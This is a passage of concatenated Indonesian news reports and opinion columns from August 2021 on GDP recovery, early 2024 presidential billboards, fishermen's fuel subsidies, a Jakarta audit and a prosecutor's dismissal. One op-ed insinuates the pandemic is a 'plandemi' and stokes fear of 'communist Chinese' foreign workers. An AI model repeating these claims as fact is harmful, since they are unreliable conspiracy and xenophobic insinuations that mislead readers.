semula (normal). Last but not least, khususnya bagi ekonom yang suka dengan analisa varian ataupun hipotesa yang lebih kritis, dan tetap dengan metode YoY, dapat diungkapkan sbb: PDB (riil) Q2/2019 Rp2735,4 triliun, bila diasumsikan keadaan normal yaitu pertumbuhan ekonomi 5%, maka PDB Q2/2020 seharusnya Rp2872,2 triliun alias masih lebih besar dari angka PDB Q2/2021 yang hanya Rp2773 triliun, yang berarti masih minus. Bila pertumbuhan Q2/2020 diasumsikan nol persen alias sama saja dengan Q2/2019 yaitu Rp2735,4 triliun, maka angka PDB Q2/2021 yg Rp2773 triliun itu hanya menunjukkan pertumbuhan 1,3%. Maka meski kita bersyukur dengan angka pertumbuhan resmi Q2/2021 yang 7,07% (YoY), tapi ekonomi kita sebetulnya masih jauh dari pulih. Kenapa? Karena PDB Q2/2021 masih di bawah PDB Q3/2019 yang Rp2819 triliun atau praktis masih sama dengan Q4/2019 yang Rp2770 triliun. Itulah sebabnya saya sebutkan bahwa pertumbuhan 7,07% itu masih relatif rendah sebab untuk mengejar ketinggalan selama ini kita harus tumbuh dengan 2 digit seperti Singapore, USA dan Uni Eropa. Artinya, kita masih harus kerja keras dan cerdas, bukan euphoria apalagi membusungkan dada. Penulis Menteri Keuangan era Presiden Habibie.

Perang Baliho Dimulai

By M Rizal Fadillah MULAI ramai kemunculan baliho para petinggi partai di berbagai daerah. Sekurangnya ada Puan Maharani (PDIP), Airlangga (Golkar), dan Muhaimin Iskandar (PKB). Tentu bukan asal pasang jika bukan tujuan sebagai sosialisasi Pilpres 2024. Bahasa kasarnya kampanye dini. Konten seruan "kamuflase" memang di sekitar pandemi covid 19. Dinilai kurang etis di masa prihatin menghadapi pandemi ini para selebriti politik sudah mulai "menebar pesona" untuk 2024. Anggapannya mungkin perlu "jualan diri" harus lebih dini. Tidak mampu dalam bentuk prestasi ya minimal baliho. Tak peduli bahwa hal itu bisa mengotori atau menambah sumpek kota. Puan Maharani yang terbanyak baliho. Untuk beberapa daerah mendapat dukungan pemerintah setempat. Walikota Gibran mengakui pemasangan baliho di kotanya atas perintah PDIP. Pengamat menduga jebloknya posisi Puan dalam beberapa survey harus di upgrade dan ditopang oleh sosialisasi baliho. Masyarakat ada yang mengenal ada yang tidak dengan figur yang ada dalam baliho tersebut. Bahkan di Blitar dan Surabaya beberapa baliho menjadi korban vandalisme yaitu dicoret-coret oleh masyarakat. Polisi terpaksa harus mengusut laporan perusakan baliho. Kepak Sayap Kebhinekaan yang tertulis dalam baliho berefek pada kepak sayap kekecewaan. Ketua Umum DPP Golkar Airlangga Hartarto juga tampil dalam banyak baliho. ketua DPD Golkar Blora mengakui pemasangan baliho itu untuk sosialisasi Airlangga demi Pilpres 2024. Mottonya adalah Kerja Untuk Indonesia, motto yang jelas bernuansa kampanye. Mungkin selama ini dirasakan tidak bekerja atau kurang kerjaan. Massa kampanye masih jauh namun partai-partai besar justru mencuri start dengan memanfaatkan pandemi. Tipis antara sosialisasi dan kampanye sebagaimana sulit untuk membedakan ajakan dengan seruan. Sebenarnya masyarakat awam juga tahu bahwa yang dilakukan oleh Puan dan Airlangga melalui tampilan baliho adalah sebuah kampanye. Ditambah dengan baliho Cak Imin panggilan Muhaimin Iskandar Ketua Umum PKB maka fenomena baru telah muncul, yaitu kampanye terselubung untuk Pilpres 2024. Perang baliho dimulai. Ada tiga probabilitas dari fenomena munculnya baliho-baliho petinggi Partai ini, yaitu : Pertama, memang sosialisasi diri figur yang ingin menjadi kandidat Capres/Cawapres 2024. Start dini untuk mendongkrak kekurangan popularitas sebagaimana ditampilkan dalam survey-survey. Kedua, permainan partai politik untuk menghambat aspirasi liar yang menginginkan Jokowi menambah masa jabatan kepresidenannya. Munculnya figur dari partai-partai menutup dukungan atau perlawanan terhadap masa jabatan tiga periode. Ketiga, munculnya baliho figur untuk 2021 itu diskenariokan oleh Jokowi dan oligarkhinya sendiri. Dirigen dari baliho ini adalah Jokowi. Tujuannya untuk membangun citra bahwa kekuasaan aman hingga 2024. Antisipasi atas desakan yang menguat agar Jokowi meletakkan jabatan sebelum 2024. Perang baliho bisa meningkatkan jumlah figur yang muncul dan hal ini sangat tidak sehat. Di samping tidak empati pada penderitaan rakyat yang sedang sekarat menghadapi pandemi, juga bagian dari kapitalisasi politik. Mereka yang kuat kapital itulah yang terbanyak baliho. Ketidakadilan ini berbahaya dan merusak. Nah, sebelum menjamur dan tak terkendali sebaiknya dilarang saja pemasangan baliho bernuansa kampanye tersebut. Jangan bodohi rakyat dengan bahasa sosialisasi. Ingat dahulu baliho HRS yang dipasang di sekitar sekretariat saja sudah diobrak abrak abrik oleh tentara. Pangdam Jaya menjadi komandan operasi. Nah kini sebaiknya baliho politik yang tersebar dimana-mana itu dilarang atau dipaksa untuk diturunkan, jika bandel kirim saja pasukan TNI untuk menurunkannya. Jangan hanya berani kepada HRS. *) Pemerhati Politik dan Kebangsaan

Gejolak Panas Perebutan Kekuasaan 2024

Oleh Tarmidzi Yusuf PILPRESS masih lama. Tiga tahun lagi. Kampanye telah dimulai. Katanya pandemi. Menguatkan dugaan plandemi. Baliho bertebaran dimana-mana. Baliho Airlangga, Puan Maharani dan Cak Imin. Gencarnya baliho ketiga tokoh tersebut, tentu saja untuk mendongkrak elektabilitas. Maklum, elektabilitas 'nasakom', nasib satu koma. Tujuannya? Pertarungan mendapatkan kendaraan politik. Golkar dan PDIP bergejolak. Berpotensi terbelah. Golkar merah dan Golkar kuning. Golkar merah menguasai kepengurusan DPP. Motor kendalinya LBP. Jagonya, Ganjar Pranowo dan Airlangga Hartarto. Golkar kuning menguasai mayoritas anggota parlemen dan jaringan se Indonesia. Tokoh sentralnya JK. Wakil Presiden 2004 dan 2014. Golkar kalau diibaratkan pesawat. LBP pegang kepala. Badan, sayap dan ekor dipegang JK. Siapa jago JK? Siapa lagi kalau bukan Gubernur DKI Jakarta saat ini, Anies Baswedan. PDIP lebih seru lagi. Antara Ketua DPR Puan Maharani atau Gubernur Jawa Tengah Ganjar Pranowo. Puan Maharani puteri mahkota Megawati. Posisi yang diincar RI 2 mendampingi Menteri Pertahanan Prabowo Subianto. Ganjar Pranowo jagonya LBP, Jokowi dan taipan cukong. Posisi yang dibidik kursi yang bakal ditinggalkan Jokowi, RI 1. Pendamping Ganjar, Ketua Umum Golkar Airlangga Hartarto. Perang sekoci politik Golkar dan PDIP bakal seru. Bisa berdarah-darah berebut sekoci politik. Saatnya rakyat tidak percaya PSK, Pelacur Survei Komersial. Utak-atik hasil survei sesui order. Gilanya KPU, mengikuti hasil perhitungan quick count. Pertarungan politik telah dimulai. Saling kunci di RUU Pemilu. Kubu mana yang kuat. Tarik menarik presidential threshold dan pemilihan komisioner baru KPU dan Bawaslu. Diprediksi akan muncul tiga pasangan calon presiden dan wakil presiden. Anies, Prabowo dan Ganjar akan muncul sebagai Calon Presiden. Sedangkan Calon Wakil Presiden kemungkinan besar AHY, Puan Maharani dan Airlangga. Itu kondisi normal. Bagaimana kalau kondisi tidak normal? Kabarnya isu Covid-19 belum akan berakhir hingga 2025. Gonta ganti varian. WHO dan pejabat tertentu sudah ngasih sinyal. Padahal, rakyat sudah 3 M (mual, muak dan muntah). Sampai kapan? Sampai tercapainya tujuan politik kelompok tertentu. Bisa damai. Bisa chaos. Ingat! TKA China komunis sudah disebar dimana-mana. Serem banget. Skenario peta koalisi bisa buyar jika kondisi darurat. Misalnya, terjadi prahara politik di PDIP dan Jokowi turun dan atau diturunkan sebelum 2024. Bisa jadi PDIP diam-diam bergerilya mendongkel kekuasaan Jokowi apabila PDIP dan Megawati terancam. Ingat, kasus lengsernya Gus Dur. Kita tahu, Jokowi sebagai representasi LBP dengan Megawati tidak akur-akur amat. Bagai api dalam sekam. Suatu saat akan konflik secara terbuka. Hanya tunggu waktu. Momentumnya? Jokowi dianggap gagal dalam menangani pandemi Covid-19. Secara politik Megawati di atas angin. Apalagi Ketua DPR Puan Maharani. Ketua MPR Bambang Soesatyo dari Golkar kuning. Jalan terbuka lebar untuk impeachment Jokowi. Tapi jangan lupa. Kabinet, TNI, Polri dan institusi negara strategis lainnya goyah. LBP makin terpojok. Jokowi siap-siap terpental dari istana. Siapa sangka, ditengah situasi tidak terkendali akibat perebutan kekuasaan. Muncul kejutan baru. Rakyat mengambil jalannya sendiri. Tahu sendiri. Rakyat sudah panas. Disiram sedikit langsung terbakar. Rakyat muak dengan kondisi hari ini. Demokrasi oligarki. Tiba-tiba rakyat menobatkan HRS sebagai tokoh pemersatu bangsa yang sedang tercabik-cabik. Tampil figur presiden yang mencintai dan dicintai rakyatnya. Diluar prediksi semua pihak. Soalnya, belum ada tokoh nasional yang bisa memobilisasi massa puluhan juta orang selain HRS. Ditambah rakyat sudah mual, muak dan muntah dengan kondisi negara hari ini. Bagaimana skenario HRS tampil? _Wallahua'lam._ Yang jelas, sejarah telah memberi banyak contoh tentang munculnya pemimpin yang terdzalimi oleh rezim dzalim. Wait and see. Penulis, Pegiat Dakwah dan Sosial.

LaNyalla Minta Pemprov Jatim Permudah Nelayan Kecil Akses BBM Subsidi

Surabaya, FNN - Ketua DPD RI AA LaNyalla Mahmud Mattalitti meminta Pemerintah Provinsi Jawa Timur mempermudah nelayan kecil untuk mengakses bahan bakar minyak (BBM) bersubsidi. "Subsidi sangat dibutuhkan, mengingat kondisi perekonomian nelayan sangat terpuruk oleh pandemi. Para nelayan tradisional merupakan kelompok masyarakat terdampak," ujar di sela reses di Surabaya, Jumat. Ia mendapat laporan bahwa para nelayan tradisional tidak bisa menerima subsidi BBM karena belum ada petunjuk teknis dari Peraturan Gubernur (Pergub) Nomor 36 Tahun 2017 yang menjadi dasar pemberian subsidi BBM nelayan. Senator asal Jawa Timur tersebut mengaku sangat menyayangkan karena juknis akan memudahkan Pemprov Jatim dan Pertamina membuat skema penyaluran subsidi. Selain soal juknis, katanya, akses BBM subsidi belum terlaksana karena rumitnya administrasi perikanan sehingga para nelayan kecil kesulitan melengkapi dokumen sebelum melaut. Padahal, kata dia, dokumen itu sebagai identitas nelayan dan menjadi syarat mendapatkan BBM bersubsidi, antara lain pas (izin) kapal, kartu Kusuka, kartu nelayan, BPKP (bukti pencatatan kapal perikanan), dan sebagainya. "Kami berharap Pemprov Jatim mencarikan solusi yang cepat dan tepat. Urusan administrasi jangan jadi beban mereka, mengingat mayoritas nelayan berpendidikan rendah," ucapnya. "Kita ingin birokrasi yang menghambat harus dipecahkan sehingga bisa mengakomodir kebutuhan para nelayan kecil," kata mantan Ketua Kadin Jatim itu menambahkan. LaNyalla menyarankan agar pengurusan dokumen dilakukan terpadu atau satu pintu karena berdasarkan keluhan para nelayan, semua dokumen dikeluarkan kantor yang terpisah. Seperti diketahui, Kesatuan Nelayan Tradisional Indonesia (KNTI) Jawa Timur sempat mengadukan permasalahan sulitnya akses BBM bersubsidi bagi nelayan ini ke Ombudsman RI Wilayah Jawa Timur. KNTI menyuarakan keluhan nelayan kecil di lima kabupaten/kota yakni Surabaya, Gresik, Bangkalan, Sumenep dan Banyuwangi yang 85 persen-nya belum bisa memakai BBM bersubsidi. (mth)

Mahasiswa ITB STIKOM Bali Lolos Program PMM Kemendikbud Ristek

Denpasar, FNN - Sebanyak 20 mahasiswa Institut Teknologi dan Bisnis (ITB) STIKOM Bali dinyatakan lolos dan berhak mengikuti program Pertukaran Mahasiswa Merdeka (PMM) 2021 dari Kementerian Pendidikan, Kebudayaan, Riset dan Teknologi ke sejumlah perguruan tinggi di Pulau Jawa. "Dari 20 mahasiswa ITB STIKOM Bali tersebut, 18 orang mengikuti program PMM, sedangkan dua orang lagi mengambil program Studi Independen Bersertifikat," kata PIC PMM ITB STIKOM Bali Dr Evi Triandini di Denpasar, Jumat. Pada saat bersamaan, ITB STIKOM Bali juga menerima kedatangan 20 mahasiswa dari berbagai perguruan tinggi terkenal di Pulau Jawa dalam program yang sama, yang merupakan bagian dari program Merdeka Belajar-Kampus Merdeka. Evi mengemukakan para mahasiswa peserta PMM akan mendapat beasiswa berupa uang kuliah tunggal sebesar Rp2.400.000, uang tiket pesawat PP dari Bali ke kampus tujuan, uang tes usap 2 kali, uang pemondokan Rp500.000/bulan, biaya hidup Rp700.000/bulan dan uang pulsa Rp800.000/semester. Selain itu, ITB STIKOM Bali juga akan memberikan insentif sebesar Rp1.600.000 untuk setiap mahasiswa sebagai biaya persiapan pemberangkatan. "Rencana awal, para mahasiswa ini akan terbang ke kampus tujuan untuk mengikuti kuliah tatap muka. Karena situasi pandemi COVID-19, sehingga Kemendikbud Ristek memutuskan pelaksanaannya sementara secara daring," ujarnya. Sebelumnya, tercatat 38 mahasiswa ITB STIKOM Bali mengajukan lamaran ke laman PPM untuk mengikuti program ini. Setelah melewati sejumlah tahapan seleksi dan survei kebinekaan, yang dinyatakan lolos sebanyak 20 orang. Mahasiswa ITB STIKOM Bali yang lolos program PMM, yakni Leonora Carolina Yunita Mau ke Universitas Jember, Rara Febyan Damayanti (Universitas Ibnu Khaldun Bogor), Alce Theresia Ndok (Universitas Muhammadiyah Prof Dr Hamka, Jakarta), dan Waldetrudis Lista (Universitas Islam Malang). Kemudian I Kadek Wahyu Dwi Prastika (Universitas Muhammadiyah Jakarta), Ni Putu Ananda Vika Janika (Universitas Komputer Indonesia Bandung), Anak Agung Ayu Putri Wiratni (Universitas Muhammadiyah Magelang), Jeskyng Heal Lero Lasaro (Universitas Kristen Krida Wacana Jakarta) dan Michael Bryan Wonderson (Universitas Muhammadiyah Ponorogo). Sedangkan I Gusti Ngurah Astawa (Universitas Merdeka Malang), I Komang Tryana Artha Putra (Universitas Kristen Duta Wacana Jogjakarta), Ni Putu Adianita Tanti (Univeritas Katolik Widya Mandala Surabaya), Made Wiana Tameira (Univeritas Jenderal Soedirman Purwokerto) dan Komang Ariestini (Universitas Majalangka). I Kadek Seneng (Univeritas Muhammadiyah Gresik), Ni Luh Mas Elma Yuniawati ( Univeritas Brawijara Malang), Taysa Gracinia (Universitas Islam Balitar Blitar) dan Jonathan Kurniawan Sumarji (Universitas Langlang Buana Bandung). "Dua mahasiswa atas nama Wayan Agus Hery Setiawan dan Deni Alfian Bouk mengambil program studi independen di perusahaan selama satu semester," kata Evi. Sedangkan 20 mahasiswa dari luar Bali yang diterima ITB STIKOM Bali berasal dari Institut Teknologi Bandung, Institut Pertanian Bogor, Institut Pendidikan Indonesia Garut dan Institut Teknologi Indonesia Tangerang Selatan. Selanjutnya dari Institut Teknologi Nasional Bandung, Institut Teknologi Nasional Malang, Universitas Esa Unggul Jakarta, STIE BPD Jateng, STIE Surabaya, Institut Bisnis dan Informatika Kesatuan Bogor dan Universitas 17 Agustus 1945 Surabaya. Para mahasiswa tersebut akan mengikuti pertukaran mahasiswa selama satu semester dimulai semester ganjil tahun 2021/2022. Jumlah SKS yang bisa diambil selama semester oleh mahasiswa tersebut sebanyak 20 SKS, dengan rincian 10 SKS di kampus tujuan dan 10 SKS di ITB STIKOM Bali atau kampus mitra. "Saat ini mereka sedang menyusun rencana studi, baik di kampus ITB STIKOM Bali maupun di kampus tujuan," kata Evi. (mth)

Iuran Memberi Terang: Mengurai Nilai Kepahlawanan di Masa Pandemi

Jakarta, FNN - Pada peringatan Hari Pahlawan 60 tahun yang lalu, Ir Soekarno menyampaikan betapa pentingnya menghargai jasa para pahlawan sebagai salah satu ciri sebuah bangsa yang besar. Istilah pahlawan sering diartikan sebagai seseorang yang rela mengorbankan dirinya untuk membela kebenaran demi membantu orang lain. Pandemi Covid-19 sampai saat ini masih melanda negara kita, sehingga perlu adanya peningkatan kewaspadaan, kerja sama, serta tolong menolong dari seluruh lapisan masyarakat agar dampak yang ditimbulkan dapat teratasi. Selain menyerang dari sisi kesehatan, pandemi juga melumpuhkan sektor ekonomi masyarakat. Dari sisi kesejahteraan hidup, situasi sulit ini memberikan dampak yang besar terhadap kehidupan utamanya masyarakat kecil. Melihat kondisi tersebut, tentu saja dibutuhkan sikap kepedulian terhadap sesama agar tidak terjadi kesenjangan dan ketimpangan antar masyarakat yang signifikan serta beban hidup yang semakin berat dirasakan. Rasa kepedulian ini dapat menjadi pemantik awal munculnya sikap-sikap kepahlawanan. Situasi Covid-19 membuka mata kita bahwa nilai-nilai kepahlawanan sangat dapat kita teladani dan aplikasikan. Beberapa nilai kepahlawanan itu diantaranya ikhlas, rela berkorban, membela keadilan dan kebenaran, keberanian, persatuan dalam perbedaan serta nasionalisme. Tenaga medis yang menjadi garda terdepan yang diberitakan banyak gugur dalam tugasnya membuktikan bahwa mereka telah menerapkan nilai-nilai kepahlawanan dengan memiliki jiwa pengorbanan yang begitu tinggi. Sama seperti saat para pahlawan kemerdekaan berjuang melawan penjajah, saat ini para pejuang di garda terdepan tersebut juga sedang berjibaku melawan kekangan pandemi Covid-19. Kehidupan bermasyarakat tidak lagi sama dikarenakan sebagian besar orang tidak dapat berkuasa atas dirinya sendiri seperti sebelumnya, sehingga perlu adanya percepatan untuk meraih kembali hal-hal tersebut. Kemerdekaan menjadi kunci agar setiap individu dapat melepaskan diri dari segala tekanan, sehingga dapat leluasa mengembangkan diri sendiri yang apabila dilakukan secara masif dapat berdampak pada pembangunan nasional. Ir Soekarno dalam pidatonya pada 1 Juni 1945 mengatakan bahwa kemerdekaan adalah jembatan emas, yang bisa diartikan sebagai perpindahan dari alam penjajahan menuju alam merdeka, sehingga ketika sebuah kemerdekaan diraih, rakyat akan dapat merasakan kehidupan yang lebih baik. Merdeka dari pandemi saat ini menjadi cita-cita bersama. Sejarah mencatat bahwa setiap era memiliki pahlawannya masing-masing, mereka muncul melawan keadaan-keadaan sulit yang berbeda antar generasi satu dengan yang lain serta tentunya dengan cara perjuangannya masing-masing. Hal tersebut terus berlanjut hingga masa sekarang. Apabila pahlawan pada zaman penjajahan adalah para pejuang yang mengangkat senjata mengusir para penjajah, maka pahlawan saat adalah mereka yang berjuang untuk menyejahterakan masyarakat menepis kesulitan-kesulitan saudaranya dengan tidak mengenal kasta, agama, suku dan budaya. Situasi pandemi ini menggugah mereka yang mapan dari segi ekonomi untuk berbagi pada mereka yang terkena terpaan badai krisis yang belum diketahui kapan akan berhenti. Bahkan istilah pahlawan kemanusiaan juga disematkan pada mereka yang secara disiplin menerapkan protokol kesehatan dalam kesehariannya. Gugurnya 545 dokter serta 445 perawat dalam tugas, menjadi bukti bahwa semangat kepahlawanan masih terus menyala. Ibu pertiwi masih terus melahirkan pejuang. Sementara rekan-rekan seperjuangan yang lain masih berusaha menahan rasa lelah dan rindu pada keluarga. Masih banyak sosok-sosok lain yang terus bekerja meski dalam sunyi. Guru yang terus mengajar dan mendidik tidak luput dari sematan pahlawan masa kini. Pandemi Covid-19 tidak menggoyahkan semangat dedikasinya dalam memberikan perhatian kepada murid-muridnya, kepedulian mereka tidak surut karena situasi yang serba membatasi. Meski mereka harus berjibaku dengan keadaan baru yang sama sekali berbeda dari sebelumnya, mereka tetap berusaha memberikan pelayanan terbaik bagi generasi penerus bangsa. Waktu dan tenaga para pengajar ini tercurah lebih panjang dari biasanya, jam istirahatnya berkurang, bahkan mereka memakai waktu malamnya untuk belajar cara-cara baru dalam mengajar serta mempersiapkan bahan pembelajaran esok harinya. Kurir yang membantu distribusi bantuan sosial, alat kesehatan, dan kebutuhan pokok tidak jarang ditemui melepas penatnya di pinggir jalan, tidak jarang di tengah malamnya pun masih di jalan, sementara yang lainnya berusaha membatasi diri dari beraktivitas di luar. Penggali kubur yang tidak pernah disorot kamera siang malam menggali liang lahat serta membantu menguburkan jenazah korban Covid-19 dengan penuh kehati-hatian. Masih banyak lagi sosok-sosok yang jarang diberitakan namun besar perannya untuk membantu negeri hadapi pandemi. Sosok-sosok pahlawan masa kini begitu nyata adanya, begitu dekat di sekeliling kita. Nilai-nilai kepahlawanan bisa dimulai dari melakukan hal-hal kecil yang dapat membantu sesama, sekarang, dan dimulai dari diri sendiri. Kita juga bisa menjadi pahlawan bagi diri sendiri, keluarga, dan bagi orang-orang di sekitar. Mulai dari melaksanakan saran dan himbauan, menerapkan protokol kesehatan secara ketat, memberi dukungan bagi kerabat, memastikan agar mendapat pasokan makanan dan obat-obatan memadai, ikut penggalangan dana, serta tidak henti-hentinya mengirim doa. Seluruh lapisan masyarakat Indonesia tidak boleh lagi hanya terjebak pada aktivitas yang monoton, seperti yang sering Presiden Joko Widodo himbau. Pada situasi pandemi seperti sekarang ini setiap anggota masyarakat perlu melakukan hal-hal baru yang dapat dilakukan demi ikut iuran memberi terang bagi negerinya. Melalui kepemimpinan yang baik serta didukung persatuan dan kesatuan rakyat yang kokoh, kemerdekaan yang selalu diimpikan dapat diraih, proklamasi kemerdekaan dapat dikumandangkan, bendera merah putih dapat dikibarkan dengan gagah. Hari ini, kita bisa lepas dari keterjajahan atas pandemi Covid-19 apabila semua orang mau bersatu padu, bekerja sebaik-baiknya sesuai dengan tugas dan tanggungjawabnya masing-masing, menyingkirkan kepentingan pribadi dan golongan, bekerja dan berkarya semata-mata demi cita-cita mulia bersama. Drs. Moh Hatta pernah mengatakan bahwa pahlawan yang setia itu berkorban, bukan untuk dikenal namanya, tetapi semata-mata untuk membela cita-cita. Hal ini menunjukkan bahwa di masa-masa gelap seperti sekarang ini perlu banyak lagi sosok-sosok pembawa cahaya. Di masa-masa sulit ini perlu lebih banyak lagi sosok-sosok pahlawan yang dengan sukarela menyingkirkan setiap kesedihan dan kepedihan, perlu lebih banyak persatuan dan gotong royong untuk membuat negeri ini kembali bangkit dan bersinar. Semua perlu iuran memberi terang. Semoga kita segera merdeka dari pandemi Covid-19. (mth)

Dinas Kesehatan Sebut Temuan BPK Hanya Soal Administrasi

Jakarta, FNN - Dinas Kesehatan DKI Jakarta menyebut temuan Badan Pemeriksa Keuangan (BPK) DKI yang menyebutkan Pemerintah Provinsi DKI Jakarta kelebihan bayar dalam pengadaan alat rapid test dan masker N95 hanya masalah administrasi. Kepala Dinas Kesehatan DKI Jakarta Widyastuti menyebut, tidak ditemukan kerugian negara dalam proses pengadaan pada tahun 2020 lalu, yang akhirnya jadi temuan BPK tersebut. "Itu kegiatan di tahun 2020 dan sudah dilakukan pemeriksaan oleh BPK dan tidak ditemukan kerugian negara. Jadi tidak ada kerugian negara, itu hanya masalah administrasi saja," kata Widyastuti di Jakarta, Jumat, 6 Agustus 2021. Terkait temuan BPK yang menyebutkan kelebihan bayar tersebut karena dalam proses pengadaan kedua Dinkes DKI memilih barang dengan kualitas sama namun harganya lebih mahal dibanding pengadaan sebelumnya, Widyastuti menyebut pengadaan itu untuk menyesuaikan dengan kebutuhan. Widyastuti menjelaskan untuk masker N95, usai pengadaan pertama terdapat berbagai keluhan dari user atau pengguna peralatan yang diadakan tersebut. Terlebih saat awal pandemi disebutnya masker sulit didapatkan. "Nah tentu kami sesuai dengan spesifikasi yang diminta dengan masukan dari user," ucapnya sebagaimana dikutip dari Antara. Sementara untuk peralatan tes cepat Covid-19, Widyastuti menyebut pengadaan untuk menjamin DKI Jakarta dapat melakukan pemeriksaan pada warganya, mengingat saat itu juga belum ada pengadaan rutin. "Selain itu kondisi saat itu juga terjadi fluktuasi harga dan kami tidak pernah mengerti, karenanya kami meminta pendampingan oleh pemeriksa, inspektorat, kejaksaan untuk proses di DKI saat itu," ucap dia. Sebelumnya, Badan Pemeriksa Keuangan (BPK) menyatakan Pemerintah Provinsi DKI Jakarta kelebihan bayar dengan nilai Rp 1,1 miliar untuk pengadaan alat rapid test Covid-19 pada 2020 lalu. Hal tersebut disampaikan BPK dalam laporan hasil pemeriksaan (LHP) atas laporan keuangan Pemerintah Daerah Provinsi DKI Jakarta Tahun 2020 yang disahkan oleh Kepala BPK Perwakilan DKI Jakarta Pemut Aryo Wibowo pada 28 Mei 2021. Berdasarkan pemeriksaan BPK pada dokumen pertanggungjawaban pembayaran, ditemukan dua penyedia jasa pengadaan rapid test Covid-19 dengan merek serupa, dalam waktu yang berdekatan, namun memiliki harga yang berbeda. Selain itu, BPK juga menyebutkan ada kelebihan pembayaran yang dilakukan Pemprov DKI Jakarta atas masker respirator N95 di tahun 2020 hingga Rp 5,85 miliar dari pos belanja tak terduga (BTT) APBD DKI tahun 2020. Hal ini disampaikan BPK dalam laporan hasil pemeriksaan atas laporan keuangan Pemprov DKI tahun 2020 yang disahkan Kepala BPK DKI Pemut Aryo Wibowo. Disebutkan juga, pembelian masker itu dilakukan pada dua perusahaan berbeda, yakni PT IDS dan PT ALK yang memiliki kisaran harga berbeda. "Permasalahan itu mengakibatkan pemborosan keuangan daerah senilai Rp 5,85 miliar," tulis Pemut dalam laporan yang dikutip di Jakarta, Kamis (5/8). (MD).

Kejaksaan Agung Pecat Pinangki Malasari tidak Dengan Hormat

Jakarta, FNN - Kejaksaan Agung RI resmi memecat atau memberhentikan tidak dengan hormat Jaksa Pinangki Sirna Malasari sebagai Pegawai Negeri Sipil (PNS) dengan menerbitkan Keputusan Jaksa Agung RI Nomor 185 Tahun 2021 tanggal 6 Agustus 2021. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejaksaan Agung RI Leonard Eben Ezer Simanjuntak dalam konferensi pers virtual di Jakarta, Jumat mengatakan, dengan terbitnya Keputusan Jaksa Agung RI Nomor 185 Tahun 2021 tangga 6 Agustus 2021 maka surat Keputusan Jaksa Agung Nomor 164 Tahun 2020 tanggal 12 Agustus 202 tentang pemberhentian sementara Jaksa Pinangki dari jabatan PNS-nya dicabut. "Pada hari ini, Jumat tanggal 6 Agustus 2021 telah dikeluarkan keputusan Jaksa Agung RI nomor 185 tahun 2021 tentang pemberhentian karena melakukan tindak pidana kejahatan jabatan atau tindak pidana kejahatan yang ada hubungannya dengan jabatan terhadap Pegawai Negeri Sipil atas nama doktor Pinangki Sirna Malasari," katanya. Leonard menjelaskan, keputusan Jaksa Agung tersebut dikeluarkan dengan beberapa pertimbangan. Yaitu, mempertimbangkan putusan Pengadilan Tinggi DKI Jakarta nomor 10/Pidsus-TPK/2021/PT DKI tanggal 14 Juni 2021. Dalam putusan tersebut telah mempunyai kekuatan hukum tetap atas nama terpidana Pinangki Sirna Malasari. "Dalam putusan tersebut dinyatakan telah terbukti secara sah dan meyakinkan melakukan tindak pidana korupsi yang merupakan tindak pidana kejahatan jabatan atau tindak pidana kejahatan yang ada hubungannya dengan jabatan," ujarnya. Keputusan Jaksa Agung itu juga mempertimbangkan berita acara pelaksanaan putusan pengadilan atau yang biasa disebut sebagai Pidsus 38 Tanggal 2 Agustus 2020 tentang pelaksanaan putusan pengadilan tinggi DKI Jakarta Nomor 10/Pidsus-TPK/2021/PTDKI tanggal 14 Juni 2021. Kemudian mempertimbangkan Pasal 87 ayat 4 huruf b Undang-Undang Nomor 5 Tahun 2014 tentang Aparatur Sipil Negara dan Pasal 250 huruf b Peraturan Pemerintah Nomor 11 Tahun 2017 tentang Manajemen Pegawai Negeri Sipil sebagaimana telah diubah dengan Peraturan Pemerintah Nomor 17 Tahun 2020 tentang Perubahan atas Peraturan Pemerintah Nomor 11 Tahun 2017 tentang Manajemen Pegawai Negeri Sipil. Peraturan itu menyebutkan, pemberhentian pegawai negeri sipil tidak dengan hormat apabila dihukum penjara atau kurungan berdasarkan putusan pengadilan yang telah berkekuatan hukum tetap karena melakukan tindak pidana kejahatan jabatan atau tidak pidana kejahatan yang ada hubungannya dengan jabatan. Berdasarkan pertimbangan tersebut di atas, Jaksa Agung mengeluarkan keputusan yang isinya, mencabut surat keputusan Jaksa Agung nomor 164 Tahun 2020 Tanggal 12 Agustus 2020 tentang pemberhentian sementara dari jabatan pegawai negeri sipil atas nama Dr. Pinangki Sirna Malasari. Ia menyebutkan, dalam Keputusan Jaksa Agung Nomor 164 Tahun 2020 juga memberhentikan sementara gaji terhadap Pinangki dan selanjutnya juga memberi hak kepada Pinangki untuk memberikan uang rincian sementara sebesar 50 persen dari tunjangan yang didapat. "Kemudian, keputusan Jaksa Agung (Nomor 185 Tahun 2021) tersebut menetapkan memberhentikan tidak dengan hormat sebagai pegawai negeri sipil atas nama Dr. Pinangki Sirna Malasari," tutur Leonard. Dalam konferensi pers tersebut, Leonard juga memastikan bahwa segala fasilitas negara yang melekat kepada Pinangki selama menjabat sebagai PSN eselon IV telah dicabut atau ditarik sejak Keputusan Jaksa Agung Nomor 164 Tahun 2020 dikeluarkan. (MD).

Lurah Ikuti Perintah Anies Tak Lagi Wajibkan Vaksin untuk Ambil Bansos

Jakarta, FNN - Lurah Utan Panjang, Kemayoran, Amadeo, segera mengikuti instruksi Gubernur DKI Jakarta Anies Baswedan dengan tidak lagi mewajibkan warga memperlihatkan sertifikat vaksinasi untuk mengambil bantuan sosial. "Kalau memang ada arahan terbaru, kita ikuti sesuai arahan Gubernur. Kita mengikuti arahan pimpinan," kata Amadeo saat dikonfirmasi di Jakarta, Jumat. Kelurahan Utan Panjang sebelumnya memberlakukan kebijakan pengambilan Bantuan Pangan Non Tunai (BPNT) hanya untuk warga yang sudah divaksin. Menurut Amadeo, kebijakan itu sengaja diterapkan untuk meningkatkan minat vaksinasi terhadap warga di wilayahnya yang masih rendah. Pada pekan lalu, warga di Lurah Utan Panjang yang sudah divaksin baru mencapai sekitar 52 persen. Ia pun mengakui minat warga untuk menjalani vaksinasi menjadi tinggi akibat aturan tersebut. "Setelah syarat itu diterapkan memang banyak yang akhirnya (mau) vaksin," kata dia. Ada pun kewajiban sertifikat vaksin dalam pengambilan Bantuan Pangan Non Tunai (BPNT) di Kelurahan Utan Panjang hanya berlangsung selama tiga hari, yakni pada 29--31 Juli 2021. Setelah itu, belum ada kegiatan pembagian bansos lagi yang dialokasikan dari pemerintah. Namun demikian Lurah memastikan tidak lagi mewajibkan warga yang sudah divaksin untuk bisa mengambil bansos. Dalam kesempatan sebelumnya, Gubernur DKI Jakarta Anies Baswedan melarang pejabat maupun petugas di lapisan masyarakat 